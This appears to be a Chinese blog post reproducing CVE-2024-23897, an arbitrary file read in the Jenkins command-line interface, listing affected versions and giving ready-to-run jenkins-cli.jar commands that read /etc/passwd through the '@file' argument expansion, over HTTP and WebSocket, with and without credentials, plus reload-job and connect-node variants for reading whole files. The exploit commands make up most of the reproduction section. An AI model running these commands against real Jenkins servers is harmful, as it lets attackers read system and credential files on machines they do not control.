Jenkins任意文件读取漏洞(CVE-2024-23897)复现

Jenkins 有一个内置的命令行界面CLI,在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能,可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。具有Overall/Read权限的攻击者可以读取整个文件,未授权的攻击者仅能读取文件前几行内容。

1.漏洞级别

高危

2.影响范围

复制代码
Jenkins <= 2.441
Jenkins <= LTS 2.426.2

3.漏洞复现

3.1 cli执行命令

漏洞利用需求执行cli命令,我们可以从官网下载jenkins-cli.jar,我也会在附件资源上放一份,有需要的可以自行下载。

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  #http请求
java -jar jenkins-cli.jar -s url -webSocket help @/etc/passwd  #websocket请求
java -jar jenkins-cli.jar -s url  help @/etc/passwd  #默认方式

同样的,不只有help命令能进行操作,以下这些命令也可以

复制代码
help
who-am-i
keep-build
restart
shutdown
safe-shutdown
disable-job
enable-job

如果jenkins没有配置匿名用户可读权限,在未授权的情况下只能获得文件前几行。
如果想获取全部的文件内容,则需要overall/read权限

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  -auth user:password

3.2 利用进阶

如果Jenkins开启了"匿名用户可读"选项,connect-node命令和reload-job命令可以用来读取文件全部内容:

执行

复制代码
java -jar jenkins-cli.jar -s url -http reload-job @/etc/passwd
相关推荐
云攀登者-望正茂2 小时前
Jenkins 多分支流水线: 如何创建用于 Jenkins 状态检查的 GitHub 应用
云原生·github·jenkins
学习溢出4 小时前
【网络安全】OWASP 十大漏洞
网络·安全·web安全·网络安全
浩浩测试一下7 小时前
信息收集之hack用的网络空间搜索引擎
android·网络·安全·web安全·搜索引擎·网络安全·安全架构
火绒终端安全管理系统7 小时前
教育行业网络安全:守护学校终端安全,筑牢教育行业网络安全防线!
网络·安全·web安全·网络安全·火绒安全
007php0079 小时前
Docker Compose 安装Elasticsearch8和kibana和mysql8和redis5 并重置密码的经验与总结
大数据·运维·elasticsearch·搜索引擎·docker·容器·jenkins
曼岛_10 小时前
[密码学基础]商用密码应用安全性评估(密评):网络安全新风口,高薪紧缺人才必备技能
网络·web安全·密码学·密拼工程师
merge不墨迹11 小时前
Kubernetes 创建 Jenkins 实现 CICD 配置指南
kubernetes·jenkins
梁萌13 小时前
11-DevOps-Jenkins Pipeline流水线作业
运维·jenkins·devops·流水线·pipline
梁萌13 小时前
05-DevOps-Jenkins自动拉取构建代码2
运维·ci/cd·jenkins·devops·spring boot部署
cnsinda_sdc13 小时前
源代码加密之零日攻击
大数据·网络·安全·web安全